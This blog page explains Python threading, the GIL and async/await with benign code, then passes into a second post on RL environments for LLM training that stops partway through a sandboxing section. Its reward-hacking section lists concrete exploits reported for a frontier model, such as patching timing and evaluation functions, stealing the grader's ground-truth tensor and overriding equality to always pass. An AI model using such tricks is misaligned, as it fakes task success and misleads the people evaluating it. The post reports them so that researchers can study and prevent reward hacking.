I recently found myself knee-deep in RL training code, staring at async def, await, and asyncio.gather() scattered throughout the codebase. I realized I’d been using these tools without truly understanding the model behind them. When do you use async vs threading vs multiprocessing? Why does the GIL matter for some workloads but not others? What’s actually happening when you await something?

This post is my attempt to build a solid mental model of Python’s concurrency landscape — from the fundamentals of threads and processes, through the constraints imposed by the GIL, to modern async/await patterns. By the end, you’ll understand not just how to write async code, but why RL training pipelines are architected the way they are.

Table of Contents

1. The Basics: What Are Threads and Processes?
2. The Two Types of Waiting
3. Enter the GIL: Python’s Infamous Lock
4. Async/Await: Concurrency Without Parallelism
5. Why 896% CPU is Historic
6. Real-World Example: GRPO Training Loop

The Basics: What Are Threads and Processes?

Let’s start by understanding the fundamental building blocks of concurrent execution.

Processes: Separate Worlds

A process is an independent program execution with its own memory space. When you open Chrome and Spotify simultaneously, those are separate processes. They can’t accidentally overwrite each other’s data because they live in completely isolated memory spaces.

Pros: Complete isolation, true parallelism, crash safety (one process dying doesn’t kill others)

Cons: Heavy to create (~30MB+ overhead each), expensive communication between processes (serialization/deserialization), no shared memory by default

Threads: Roommates Sharing an Apartment

A thread is a lightweight unit of execution that lives within a process. Multiple threads share the same memory space — like roommates sharing an apartment. They can all access the refrigerator (shared memory), which is efficient but dangerous if not coordinated.

Pros: Lightweight (~8KB overhead), fast communication (shared memory), quick to spawn

Cons: Race conditions, deadlocks, need for synchronization primitives (locks, semaphores)

The Promise of Multi-Core Systems

Modern CPUs have multiple cores. My laptop has 10 cores. A typical cloud VM might have 64 or 128. The promise is simple: if you have 8 cores and 8 threads doing independent work, you should get ~8x speedup.

Key insight: A single core can context-switch between multiple threads (time-slicing), but at any given instant, only one thread executes on a core. For true parallelism, you want threads running simultaneously on different cores:

In C, C++, Java, Go, Rust — this just works. Create threads, distribute work, enjoy parallelism.

In Python? Well…

The Two Types of Waiting

Before we dive into the GIL, we need to understand a crucial distinction that determines which concurrency model you should use.

I/O-Bound: Waiting for the World

I/O-bound tasks spend most of their time waiting for external operations:

• Waiting for a database query to return
• Waiting for an HTTP response from an API
• Waiting for a file to be read from disk
• Waiting for user input

# I/O-bound example
def fetch_user_data(user_id):
    response = requests.get(f"https://api.example.com/users/{user_id}")  # Waiting...
    return response.json()

# If each request takes 100ms, fetching 100 users sequentially = 10 seconds
# But the CPU is idle 99% of that time!

The CPU isn’t doing work here — it’s just waiting. This is like a chef waiting for water to boil. They could be chopping vegetables instead.

CPU-Bound: The Processor is Sweating

CPU-bound tasks keep the processor busy with actual computation:

• Training a neural network
• Computing cryptographic hashes
• Processing images
• Running simulations
• Parsing and transforming large datasets

# CPU-bound example
def compute_hash(data):
    for _ in range(1000000):
        data = hashlib.sha256(data).digest()  # CPU is working hard
    return data

Here, the CPU is maxed out. There’s no waiting — it’s pure computation.

Why This Distinction Matters

The optimal concurrency strategy depends entirely on which type of work you’re doing:

This brings us to Python’s infamous limitation.

Enter the GIL: Python’s Infamous Lock

Python’s internals aren’t thread-safe i.e. multiple threads modifying the same data structures can corrupt memory. Rather than adding fine-grained locks everywhere (complex and slow), Python uses the Global Interpreter Lock (GIL): a single mutex that ensures only one thread can execute Python code at any given time, even on a multi-core machine.

The GIL was a simple, elegant solution: just don’t let threads run simultaneously. Problem solved… until multi-core CPUs became the norm.

The GIL’s Impact on CPU-Bound Code

Let’s see the damage:

import threading
import time

def cpu_intensive_task():
    """Count to 100 million — pure CPU work"""
    count = 0
    for _ in range(100_000_000):
        count += 1
    return count

# Sequential execution
start = time.time()
cpu_intensive_task()
cpu_intensive_task()
sequential_time = time.time() - start
print(f"Sequential: {sequential_time:.2f}s")

# Threaded execution (with GIL)
start = time.time()
t1 = threading.Thread(target=cpu_intensive_task)
t2 = threading.Thread(target=cpu_intensive_task)
t1.start(); t2.start()
t1.join(); t2.join()
threaded_time = time.time() - start
print(f"Threaded: {threaded_time:.2f}s")

Results (with GIL):

Sequential: 6.2s
Threaded: 6.4s  ← Actually SLOWER due to GIL lock contention!

The threads aren’t running in parallel — they’re taking turns, plus paying the overhead of lock acquisition/release. More threads can actually make it slower.

But Wait — Threads Do Help Sometimes!

The GIL is released during I/O operations. When a thread is waiting for network/disk, it releases the GIL, allowing other threads to run:

import threading
import requests
import time

def simulated_io_task(task_id):
    """Simulate I/O-bound task — sleep releases the GIL"""
    time.sleep(1)  # Simulates waiting for disk/network/database
    return task_id

num_tasks = 5

# Sequential
start = time.time()
for i in range(num_tasks):
    simulated_io_task(i)
print(f"Sequential I/O: {time.time() - start:.2f}s")

# Threaded
start = time.time()
threads = [threading.Thread(target=simulated_io_task, args=(i,)) for i in range(num_tasks)]
for t in threads: t.start()
for t in threads: t.join()
print(f"Threaded I/O: {time.time() - start:.2f}s")

Results:

Sequential: 5.2s
Threaded: 1.01s  -> ~5x speedup!

This works because while Thread 1 is waiting for HTTP response, Thread 2 can grab the GIL and start its request.

I/O-Bound Threading Timeline (GIL released during waits)
═══════════════════════════════════════════════════════════════════════════════
                    0ms      20ms      40ms      60ms      80ms     100ms
                     │         │         │         │         │         │
Thread 1  ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
          send                    waiting for response...              done

Thread 2     ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
             send                 waiting for response...              done

Thread 3        ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
                send              waiting for response...              done
                     │         │         │         │         │         │
═══════════════════════════════════════════════════════════════════════════════
▓▓▓ = CPU work (has GIL)    ░░░ = Waiting for I/O (GIL released)

💡 All 3 requests sent within ~3ms, all responses arrive ~100ms later
   Total time ≈ 100ms — not 300ms! Threads overlap during I/O waits.

While waiting for I/O, threads release the GIL — other threads can start their requests

Why Not Just Use More Threads?

So threads work great for I/O-bound tasks, but they have limits. Each OS thread comes with an overhead: a thread stack and OS-level scheduling/context-switching. For 10 concurrent HTTP requests, threads are fine. But what about 10,000 concurrent connections — streaming data from thousands of RL environments or handling parallel API calls to an LLM provider? A one-thread-per-connection approach can burn gigabytes of thread stack space and spend a lot of time switching between threads instead of doing useful work.

The deeper issue is how switching happens (preemptive vs cooperative scheduling):

• Threads (preemptive scheduling): The OS decides when to switch between threads. It can interrupt a thread at any point, save its entire state (registers, stack pointer, etc.), and switch to another. This context switch is expensive (~1-10μs) and unpredictable.

• Async (cooperative scheduling): Your code decides when to yield control via await. No OS involvement, no saving full thread state — just a simple function call to resume a coroutine. Context switch cost: ~100ns (10-100x faster).

Async/Await: Concurrency Without Parallelism

Python 3.5 introduced async/await as a lightweight alternative for high-concurrency I/O.

The Event Loop Model

Async uses cooperative multitasking — sub-tasks (called coroutines) voluntarily yield control when waiting for I/O, allowing other coroutines to run.

What are coroutines? They’re lightweight Python objects created when you call an async def function. Technically, they’re a special type of generator — objects that implement the iterator protocol with __await__, allowing them to be paused (at await points) and resumed. They don’t get their own threads; they’re just Python objects sitting in memory.

Async runs entirely on a single thread. The event loop is the scheduler that multiplexes between coroutines — it keeps track of which ones are waiting for I/O and which are ready to run, switching between them whenever one yields:

import asyncio
import aiohttp

async def fetch_url(session, url):
    async with session.get(url) as response:
        return await response.text()  # Yield control while waiting

async def main():
    async with aiohttp.ClientSession() as session:
        # These run concurrently in a SINGLE thread
        tasks = [fetch_url(session, f"https://example.com/{i}") for i in range(100)]
        results = await asyncio.gather(*tasks)
    return results

asyncio.run(main())

What Does await Actually Do?

The await keyword is the magic that makes async work. It does two things:

1. Pauses the current coroutine — “I’m waiting for this result, let others run”
2. Resumes when ready — “The result is here, continue from where I left off”

async def example():
    print("Starting request...")
    
    # WITHOUT await - WRONG! This just creates a coroutine object, doesn't run it
    response = fetch_data()  # Returns <coroutine object>, not actual data!
    
    # WITH await - CORRECT! This actually runs the coroutine and waits for result
    response = await fetch_data()  # Pauses here, lets other tasks run, 
                                   # resumes when data arrives
    
    print(f"Got response: {response}")

Key insight: await is where your coroutine yields control back to the event loop. Without await points, your async function would block everything else — defeating the purpose of async entirely.

How the Event Loop Works

The event loop maintains a queue of coroutines and runs them one at a time:

“Yielding control” means the coroutine voluntarily pauses and tells the event loop: “I’m waiting for something — go run other tasks, and come back to me when my I/O is done.”

When coroutine A hits await, it pauses (state saved in the coroutine object), and the event loop picks the next ready coroutine from the queue. When A’s I/O completes, it goes back in the queue to be resumed later.

No parallelism, just efficient scheduling. While Task A waits for I/O, the event loop runs Task B. No thread switching overhead, no locks needed.

Visualizing Async Execution

Let’s trace through a simple example — making two API calls concurrently:

import asyncio

async def fetch_user():
    print("1. Fetching user...")
    await asyncio.sleep(2)  # Simulate 2-second API call
    print("4. Got user!")
    return {"name": "Alice"}

async def fetch_posts():
    print("2. Fetching posts...")
    await asyncio.sleep(1)  # Simulate 1-second API call
    print("3. Got posts!")
    return [{"title": "Hello"}]

async def main():
    user, posts = await asyncio.gather(fetch_user(), fetch_posts())
    print("5. Done!")

asyncio.run(main())

The numbers show execution order. Here’s what happens step by step — remember, everything runs on a single thread, so only one thing executes at a time:

Output:

1. Fetching user...    ← runs immediately (no await yet)
2. Fetching posts...   ← runs immediately after user yields
3. Got posts!          ← posts timer fires first (1s)
4. Got user!           ← user timer fires second (2s)
5. Done!

Key points:

• At t=0, both print() statements run synchronously — no await has happened yet, so no yielding
• fetch_user() runs first because it’s the first argument to gather()
• Only when each task hits await does it pause and let the next task run
• Total time = 2 seconds (the slower one), not 3 seconds (1 + 2 if sequential)
• The event loop is single-threaded — it runs one thing at a time, but switches between tasks at await points

No await = No Concurrency

If there’s no await, async functions run purely sequentially — the async keyword alone does nothing for concurrency:

import asyncio
import time

async def task_a():
    print("A: start")
    time.sleep(1)  # Regular sleep — BLOCKS everything!
    print("A: end")

async def task_b():
    print("B: start")
    time.sleep(1)  # Regular sleep — BLOCKS everything!
    print("B: end")

async def main():
    await asyncio.gather(task_a(), task_b())

asyncio.run(main())

Output (takes 2 seconds!):

A: start
A: end      ← A runs completely before B even starts
B: start
B: end

Compare with await asyncio.sleep():

async def task_a():
    print("A: start")
    await asyncio.sleep(1)  # Yields control!
    print("A: end")

async def task_b():
    print("B: start")
    await asyncio.sleep(1)  # Yields control!
    print("B: end")

Output (takes 1 second!):

A: start
B: start    ← B starts while A is waiting
A: end
B: end

The rule: await is the yield point. No await = no opportunity for other tasks to run.

Common Async Mistakes That Kill Performance

Async code looks simple, but there are several ways to accidentally destroy your concurrency. Here are the most common pitfalls:

1. Blocking the Event Loop with CPU Work

import asyncio

async def process_image(data):
    # ❌ This blocks the ENTIRE event loop!
    # No other coroutines can run during this computation
    result = heavy_image_processing(data)  # CPU-bound, no await
    return result

async def main():
    # These run SEQUENTIALLY, not concurrently!
    await asyncio.gather(
        process_image(img1),
        process_image(img2),
        process_image(img3),
    )

The fix: Offload CPU work to a thread pool:

async def process_image(data):
    loop = asyncio.get_event_loop()
    # ✅ Run CPU work in a thread, freeing the event loop
    result = await loop.run_in_executor(None, heavy_image_processing, data)
    return result

2. Sequential await When You Want Concurrency

async def fetch_all_data():
    # ❌ These run one after another — 3 seconds total
    user = await fetch_user()      # 1 second
    posts = await fetch_posts()    # 1 second  
    comments = await fetch_comments()  # 1 second
    return user, posts, comments

async def fetch_all_data():
    # ✅ These run concurrently — 1 second total
    user, posts, comments = await asyncio.gather(
        fetch_user(),
        fetch_posts(),
        fetch_comments(),
    )
    return user, posts, comments

3. Using Blocking I/O Libraries

import requests  # Synchronous library!

async def fetch_url(url):
    # ❌ requests.get() blocks the entire event loop
    response = requests.get(url)
    return response.json()

The fix: Use async-native libraries:

import aiohttp

async def fetch_url(url):
    # ✅ aiohttp properly yields control during I/O
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            return await response.json()

4. Creating Too Many Concurrent Connections

async def fetch_all(urls):
    # ❌ 10,000 simultaneous connections = angry servers, rate limits, crashes
    return await asyncio.gather(*[fetch(url) for url in urls])

The fix: Use a semaphore to limit concurrency:

async def fetch_all(urls, max_concurrent=100):
    semaphore = asyncio.Semaphore(max_concurrent)
    
    async def fetch_limited(url):
        async with semaphore:
            return await fetch(url)
    
    # ✅ At most 100 concurrent requests
    return await asyncio.gather(*[fetch_limited(url) for url in urls])

5. Forgetting to await

async def save_to_db(data):
    await db.insert(data)

async def handler(request):
    data = parse_request(request)
    save_to_db(data)  # ❌ Missing await! Returns a coroutine object, never executes
    return {"status": "saved"}  # False signal. Nothing was saved

Python emits a RuntimeWarning: coroutine 'save_to_db' was never awaited — but only at garbage collection time, not when the bug occurs. In noisy logs or production environments, this warning is easy to miss. Your function returns successfully, the response looks correct, but the database write never happened.

The golden rule: Every long-running operation inside an async function needs an await. If there’s no await, there’s no concurrency — you’re just writing complicated synchronous code.

The Mental Overhead

Every Python developer has had to internalize this decision tree:

This complexity is what made the GIL such a pain point.

Why 896% CPU is Historic

What Changed: PEP 703

PEP 703 proposed making the GIL optional. After years of work by Sam Gross and others, Python 3.13 shipped with an experimental free-threaded build (the t in python3.14t).

What 896% CPU Means

For the first time in Python’s history, pure Python threads can execute truly in parallel.

Simple Code, Actual Parallelism

# This now actually runs in parallel on free-threaded Python!
import threading

def cpu_work():
    total = 0
    for i in range(100_000_000):
        total += i
    return total

threads = [threading.Thread(target=cpu_work) for _ in range(8)]
for t in threads: t.start()
for t in threads: t.join()

# Before: ~6 seconds (sequential, threads fighting for GIL)
# After:  ~0.8 seconds (parallel, all cores utilized)

Real-World Example: GRPO Training Loop

Let’s look at a real async training loop from TorchForge — a distributed RL framework. This is the main GRPO (Group Relative Policy Optimization) training script, and it’s a perfect example of why async shines for orchestrating distributed ML workloads.

The architecture is simple: 32 rollout coroutines generate training data by calling remote services (dataloader, LLM generator, reward model), while 1 training coroutine consumes from a shared replay buffer. All 33 coroutines run on a single thread, coordinated by the event loop.

The Rollout Coroutine

Each rollout coroutine spends most of its time waiting for remote services:

async def continuous_rollouts():
    while not shutdown_event.is_set():
        # 1. Sample from dataloader (I/O - await)
        sample = await dataloader.sample.call_one()
        
        # 2. Generate responses from LLM (I/O - await, ~seconds)
        responses = await generator.generate.route(prompt)
        
        # 3. Compute rewards (I/O - await)
        reward = await reward_actor.evaluate_response.route(...)
        
        # 4. Get reference logprobs (I/O - await)
        ref_logprobs = await ref_model.forward.route(input_ids)
        
        # 5. Compute advantages and add to buffer (I/O - await)
        advantages = await compute_advantages.compute.call_one(episodes)
        await replay_buffer.add.call_one(episode)

Every await is a yield point. While Rollout 1 waits for the generator, Rollouts 2-32 can make progress. This is I/O-bound concurrency — the CPU isn’t doing heavy work; it’s orchestrating remote calls.

See It In Action

Click “Step” to watch the event loop switch between coroutines at each await:

The Training Coroutine

Meanwhile, a single training coroutine consumes from the replay buffer:

async def continuous_training():
    while training_step < max_steps:
        batch = await replay_buffer.sample.call_one()
        if batch is None:
            await asyncio.sleep(0.1)  # Buffer empty — yield, let rollouts fill it
        else:
            await trainer.train_step.call(batch)
            await trainer.push_weights.call()
            await generator.update_weights.fanout()

Putting It Together

# Launch 32 rollout coroutines + 1 training coroutine
rollout_tasks = [asyncio.create_task(continuous_rollouts()) for _ in range(32)]
training_task = asyncio.create_task(continuous_training())

await training_task  # Run until training completes

The result: 32 concurrent rollouts, all making progress, all on a single thread. No GIL contention, no thread synchronization, no race conditions. The event loop efficiently multiplexes between coroutines at each await point.

Conclusion

The GIL was a reasonable design choice in 1991, but it became a painful limitation as multi-core CPUs became the norm. For decades, we worked around it with multiprocessing, C extensions, and async.

Python 3.13+’s free-threaded build changes everything: pure Python threads can finally use multiple cores. For RL workloads, this means simpler code for parallel environment rollouts, data preprocessing, and orchestration — without the overhead of multiprocessing or the complexity of async everywhere.

Quick Reference: Python Concurrency Cheat Sheet

If you found this helpful, you might also enjoy my posts on RL environments for LLM training and distributed training infrastructure.

Reinforcement learning works on the FAFO principle → Fool Around and Find Out (more on this here). But to fool around, LLMs need a playground: an environment where they can take actions, observe outcomes, and learn from their mistakes.

In the above game, the player’s actions (↑/↓/←/→) decide the outcome of the game:

1. Did you crash?
2. Did you successfully cross the finish line? or
3. Are you still racing?

This action → outcome loop is exactly what RL environments provide for LLM training.

The Anatomy of an Environment

Whether you’re training a robot to walk or an LLM to write code, the core interface remains the same (mostly):

class Environment:
    def reset(self) -> Observation:
        """Reset the environment to initial state"""
        pass
    
    def step(self, action: Action) -> Tuple[Observation, Reward, Done, Info]:
        """Take an action and return the outcome"""
        pass

In our car racing analogy versus LLM training, the parallel is as follows:

┌────────────────────────────────────────────────────────────────────────────┐
│                              RL ENVIRONMENT                                │
├────────────────────────────┬───────────────────────────────────────────────┤
│         CAR RACING         │               LLM TRAINING                    │
├────────────────────────────┼───────────────────────────────────────────────┤
│ Action: ↑ ↓ ← →            │ Action: Generated text/code/toolcalls         │
│ Observation: Track state   │ Observation: Tool outputs, errors, feedback   │
│ Reward: +1 forward         │ Reward: Verifier score                        │
│ Done: Finish/Crash         │ Done: Task complete / max turns               │
│ Info: Lap time             │ Info: Execution trace                         │
└────────────────────────────┴───────────────────────────────────────────────┘

The critical difference lies in the Reward. In a game, the score is built into the engine—cross the finish line, get a point. In LLM training, we need to define what correctness means and build logic to verify it. This brings us to the first concept: Verification.

Reward Verification strategies

Every environment needs to answer two questions:

1. “Did the model do it right?”
2. “Should we keep going?”.

In other words, we need a verifier to compute the reward and a criterion to decide if the task is done.

The verification method effectively defines what “good behavior” means for RL: the policy will learn to optimize whatever the verifier can reliably score. For math, this is often straightforward: extract the final number and compare it against a ground-truth answer. But for code, “correctness” is a spectrum rather than a single target. It involves satisfying a set of constraints—the code must run, produce the right outputs, and often meet style, safety, or efficiency standards. Naively string-matching source code doesn’t work because there are infinitely many equivalent implementations of the same function.

Code verification strategies have converged to five main approaches, each with distinct tradeoffs that affect training dynamics.

1. Execution-Only Verification

The most lenient check: just ensure the code runs without crashing. This is useful for open-ended creative tasks or assigning partial credit for syntactically correct code.

def verify_runs(code: str) -> float:
    result = sandbox.run(code, timeout=5)
    return 1.0 if result.exit_code == 0 else 0.0

For instance, CodeRL (Le et al., 2022) treated code generation as an RL problem with execution-based rewards, using a critic network trained to predict functional correctness from four outcome categories: compile error, runtime error, failed tests, and passed tests.

We can see that instead of a sparse binary reward, we can get -1.0 (worst case: not compiled) or -0.6 (compiled but not executed), -0.3 (executed but failed any unit test), +1.0 (passed all unit tests) based on the outcome. This is a more informative reward signal that can help the model learn from its mistakes.

2. Input/Output Matching

Here, we run the code and compare output against expected results. This can be done via stdin/stdout (language-agnostic) or by calling the function directly with arguments. Seen in benchmarks like LiveCodeBench, APPS, and CodeContests.

def verify_stdin_stdout(code: str, test_case: TestCase) -> bool:
    result = sandbox.run(code, stdin=test_case.input)
    return result.stdout.strip() == test_case.expected_output.strip()

def verify_functional(code: str, test_case: TestCase) -> bool:
    actual = sandbox.call_function(code, test_case.func_name, test_case.input)
    return actual == test_case.expected_output

3. Assertion-Based Testing

Here, we wrap the solution in a test harness with assert statements (or unit tests). If the test script exits with code 0, the solution is correct. Seen in benchmarks like HumanEval, MBPP, etc.

Note: EvalPlus extended these datasets by generating 80x more test cases for HumanEval and 35x more for MBPP using automated input generation seeded by commercial LLMs.

def verify_with_assertions(solution_code: str, test_code: str) -> bool:
    # assert candidate(input) == expected_output
    # test_code contains: assert candidate([1,2,3]) == 6
    full_code = f"{solution_code}\n\n{test_code}"
    result = sandbox.run(full_code)
    return result.exit_code == 0

4. Bidirectional verification

What makes Bidirectional verification interesting is that instead of optimizing just for code correctness, it is possible to optimize for both code correctness and unit test correctness in one go. CURE (Yin jie et al., 2025) proposes co-evolving a coder and unit tester within a single policy (a.k.a LLM).

For each task, the model generates n code solutions and m unit tests, then executes all codes against all tests (ground-truth tests and the generated unit tests) to build a binary pass/fail matrix B*. Code rewards are simply the number of ground-truth tests passed. The clever part is the unit test reward: +1 for correct behavior (passing correct code, failing incorrect code), −1 for incorrect behavior (failing correct code, passing incorrect code) - where code “correctness” is determined by ground-truth tests. Both reward signals are normalized and fed into GRPO to update the shared policy.

💡 Intuition: A good unit test gets positive reward when it: (1) passes ALL correct code solutions, AND (2) fails as many incorrect code solutions as possible. A bad unit test gets negative reward when it: fails correct code solutions OR passes too many incorrect code solutions.

The Reward Engineering Challenge

The reward function determines training dynamics more than any other design choice. The field has learned hard lessons about reward hacking, with frontier models now actively manipulating evaluation code when given the opportunity. For instance, SakanaAI had to walk back claims about their AI speeding up model training after discovering it was gaming the metrics. Similarly, METR’s O3 evaluation documented numerous reward hacking examples from OpenAI’s o3 model.

The Strict Reward Trap

Binary rewards worked surprisingly well for Deepseek-R1, but in practice, strict binary rewards on complex tasks can often stall learning as there is no success signal to guide the learning. One mitigation would be to further finetune the LLM (SFT) on the task solutions before RL training. But beyond that, we usually need to shape the reward better.

Partial Rewards: A Double-Edged Sword

Giving partial rewards for progress seems like a good idea. In coding, perhaps give 0.1 reward for passing a single test case out of 10 (so 0.7 if it passes 7/10 tests). This dense feedback can help the model improve incrementally so that it’s not all-or-nothing.

# Seems reasonable...
reward = 0.1 * moved_forward + 0.5 * avoided_obstacle + 1.0 * finished

However, dense rewards come with a trap: reward hacking. The agent might find a way to exploit the reward structure rather than solving the actual task. This is particularly problematic in environments where looping or repetitive behavior can accumulate rewards.

Reward Hacking

A classic example comes from OpenAI’s research on faulty reward functions. In the boat racing game CoastRunners,

The targets were laid out in such a way that the RL agent could gain a high score without having to finish the course. Instead of racing, it found an isolated lagoon where it could turn in a large circle and repeatedly knock over three targets, timing its movement to always hit them just as they respawned. Despite repeatedly catching fire, crashing into other boats, and going the wrong way on the track, the agent achieved a score 20% higher than human players by completely ignoring the intended objective.

Gaming the benchmarks

Reward Hacking has become alarmingly sophisticated. METR research (June 2025) found o3 reward-hacking in 100% of runs on certain tasks, with 30.4% hacking rate across RE-Bench overall. Documented exploits include: monkey-patching torch.cuda.synchronize to fake faster runtimes, tracing the Python call stack to steal the grader’s ground_truth tensor, patching evaluation functions to return “succeeded: True”, and overwriting PyTorch’s __eq__ operator to always return True.

So how do we avoid stalled learning from sparse rewards without inviting reward hacking? One effective strategy is to control the difficulty of tasks the model sees during training.

Curriculum Training

RL training is most effective when tasks are neither too easy nor too hard. Curriculum training solves this problem by dividing training into a few manually-defined phases of increasing difficulty (Wen et al., 2025; Luo et al., 2025; Song et al., 2025), but these are coarse-grained and lack adaptivity. Adaptive curriculum learning addresses these issues by matching problem difficulty to the model’s evolving capabilities.

RLVE (Zeng et al., 2025) introduced a large-scale suite of 400 math and reasoning environments that procedurally generate tasks based on the model’s capabilities as training progresses.

AdaRFT (Shi et al., 2025) maintain a target difficulty level $T$ that evolves based on recent rewards. When average reward exceeds target ($\beta=0.5$) (also proposed by DOTS (Yifan et al., 2025)), difficulty increases; otherwise, it decreases. Their approach uses an external LLM (Qwen 2.5 MATH 7B) to estimate difficulty based on the success rate over 128 attempts. They observed a 2x reduction in training steps while improving accuracy.

AdaCuRL (Li et al., 2025) addresses gradient starvation by partitioning training data into difficulty buckets and progressively merging harder buckets based on the accuracy reward of the policy’s current state. Crucially, earlier buckets remain in the training set after merges, providing a data revisitation mechanism to mitigate catastrophic forgetting. INTELLECT-3 (Prime Intellect Team, 2025) takes a lighter-weight approach: problems are sorted into difficulty pools (easy, normal, hard) based on observed solve rates, and sampling ratios from each pool are adjusted dynamically. An online filter discards trivial rollouts that provide no learning signal. Unlike AdaCuRL, INTELLECT-3 does not explicitly address catastrophic forgetting through bucket merging.

Adaptive Environments

An extension to adaptive curriculum learning is to make the environment itself adaptive. Instead of fixed rubrics/reward functions, we can update them based on the model’s performance.

DR Tulu (Shao et al., 2025) introduced evolving rubrics for open-ended tasks. Static RLVR only works for short-form QA with verifiable answers. RLER (Reinforcement Learning with Evolving Rubrics) creates dynamic rubrics that co-evolve with the policy model, incorporating newly searched information from the environment rather than just LM parametric knowledge. Static rubrics are vulnerable to reward hacking; evolving rubrics adapt to training dynamics.

Tool Calling: From LLMs to Agents

To convert benchmark scores into real-world value ($$$), we want LLMs to perform tasks beyond their parametric knowledge like searching the web, reading files, querying databases, calling APIs, writing reports, etc. A number of SFT datasets already exist to train good tool calling models:

Real World Tool Use is Hard

Even after achieving a good general purpose tool calling model, real world tool use is still hard for LLMs because:

1. Coverage of your tools: Public datasets cover generic APIs like weather, booking, search. But if you're building an agent for your company's internal systems, there's no dataset for your proprietary CRM or custom database schema. You need to generate environments reflecting your specific tool interfaces.
2. Multi-turn and error handling: Most datasets focus on single-turn function calling: user asks, model calls function, done. Real agents need to handle failures gracefully, ask clarifying questions, and chain tools across turns. This multi-turn data is harder to find and harder to synthesize.
3. Scaffolding matters: The scaffold, the orchestration layer around your agent (e.g., Claude Code, OpenHands), controls how tools are presented, ordered, and filtered to the agent's context. These details compound into big performance swings: on SWE-bench Verified, simply switching the scaffold causes up to 11% difference for GPT-5 and 15% for Kimi K2. In fact, the choice of scaffold has the single biggest impact on overall agent performance. This is why you need to train and evaluate on environments that mirror your actual deployment, not just generic benchmarks.

   

4. Cost and infrastructure: Even once you've defined your custom environment, hitting live APIs for thousands of training queries is slow, costly, and sometimes impractical—APIs may require authentication, have rate limits, or charge per call.

To handle these challenges, we need synthetic environments reflecting our specific tools, workflows, and orchestration. But do we actually need to hit real APIs to train on them?

Simulating Tool Responses

In nearly all cases, the answer is no—and it’s usually undesirable to do so. Instead, researchers have used two strategies:

1. Mock implementations: For certain tools, you can write a simple function that mimics the API. For example, for a get_exchange_rate(base, target) tool, you might implement a stub that returns a made-up exchange rate. This was done in the BFCL evaluation when the authors manually wrote Python functions for things like weather info or mortgage calculations so that they could execute the model’s function calls and check correctness [Source: BFCL]. In training data, however, it’s more common to simply embed an example response directly rather than executing a stub on the fly.

2. LLM-based simulation: An intriguing byproduct of these efforts is that the LLM itself can serve as a mock API server. Instead of hitting real external services during training (which is slow, costly, and potentially insecure), one can prompt an LLM to pretend to be the tool. For instance, given a function spec like get_weather(city) and some internal knowledge or sample data, the LLM can generate a plausible response ({"temp": 15, "condition": "Cloudy"}) which is then fed back to the agent model. The big advantage is flexibility: you can generate infinite variations of tool responses (including erroneous ones) to make the model robust, and you don’t need your actual API keys during training. The downside is that a simulator might not capture every nuance of a real tool’s behavior, so a mix of simulated and real testing is ideal.

Is this simulation realistic? It can be. Recent research has started to quantitatively evaluate how well an LLM can imitate a real API. MirrorAPI (Guo et al., 2025) is a system that fine-tunes an LLM specifically to mimic API outputs given the API documentation and a user query. They measured the similarity between the simulated responses and the true API responses across hundreds of real API calls. They found that the fine-tuned simulator achieved very high BLEU scores and cosine similarity to the real outputs. In other words, a well-trained “API simulator” can produce outputs almost indistinguishable from the real API, including error messages and edge-case behaviors. This finding has big implications. MirrorAPI was used to create a complete simulated tool-use benchmark, StableToolBench, where the agent interacts with simulated APIs – avoiding all the unpredictability of calling external services during evaluation.

Context Confusion: The Tool Complexity Problem

The rise of MCP (Model Context Protocol) and agentic frameworks (PydanticAI) made it easier to connect many tools to an LLM. But this tool cocktail can lead to Context Confusion, which usually manifests as benchmark score degradation. Specifically, when there’s only one tool available, agent’s downstream performance is higher than when the model must choose among many.

A curriculum approach might work here: master single tools first, then tool families (all file operations, all web APIs), then full environments with all tools available. The MCP ecosystem is expanding with standardized interfaces, but the fundamental challenge remains—more tools means more interference during training. This is another reason why your scaffold matters (see point 3 above): how tools are ordered, filtered, and presented in context directly affects whether the agent gets confused by too many options.

Multi-Turn RL Training

With the right verification, reward shaping, and curriculum design, we can train an LLM that’s great at single-turn math and code. But real-world agents are messier—they need to ask clarifying questions, fix mistakes, recover from errors, and chain tools across multiple steps.

What Changes in Multi-Turn?

Single-turn RL is conceptually simple: one prompt → one response → one reward. Multi-turn introduces new challenges:

The fundamental question becomes: how do you assign reward to individual turns when success depends on the whole trajectory?

Trajectory-Level vs Turn-Level Rewards

Most multi-turn RL work uses trajectory-level rewards—you get a single reward at the end of the episode based on task success. This is simpler but suffers from credit assignment problems (which turn was good/bad?).

An alternative is turn-level rewards, where each turn gets partial credit. But this reintroduces reward hacking risks we discussed earlier—the agent might learn to maximize intermediate rewards without solving the task.

OpenHands (Wang et al., 2024) and SWE-agent (Yang et al., 2024) both use trajectory-level binary rewards (did you solve the GitHub issue?) with the simplicity of: reward = 1 if tests pass, else 0.

Environment Architecture

Libraries like verifiers handle multi-turn complexity through environment inheritance, where each layer adds new capabilities:

Each layer builds on the previous. The key insight: multi-turn environments need to manage state that persists across the episode—file changes, database writes, git commits. This is what makes sandboxing critical.

These abstractions hide real operational complexity—especially at scale. Consider what’s required to run agents on SWE-bench:

For each task instance, we need to:

1. Clone the target repository (could be Django, scikit-learn, matplotlib—each with different dependencies)
2. Checkout the specific base commit that existed before the bug was introduced
3. Install the project’s dependencies in an isolated environment
4. Apply any environment-specific patches or configurations
5. Set up the test harness to verify the fix

The infrastructure cost adds up:

• Docker images for SWE-bench can reach 160GB+ total across all project environments
• Each environment requires 16GB+ RAM for comfortable operation
• The original SWE-bench Docker setup consumed 684 GiB before optimization efforts brought it down to ~67 GiB
• Building these images from scratch can take hours

This is why SWE-bench agents use pre-built Docker images per repository. We can’t afford to pip install Django’s entire dependency tree every time our agent wants to attempt a fix. The environments must be ready to go, with the exact commit checked out and dependencies pre-installed.

This complexity makes robust sandboxing essential: we need isolation that can be spun up reliably, thousands of times, without breaking the training run.

Sandboxing

Running model-generated code during RL training is an operational challenge that might break a multi-week training run. Without proper isolation, a single malicious or buggy code snippet can compromise the entire training run.

Why Sandboxing Matters

Running model-generated code on the training cluster is a terrible idea because:

1. Segfaults and crashes: One segfault or infinite loop shouldn’t kill a 20-day training run.
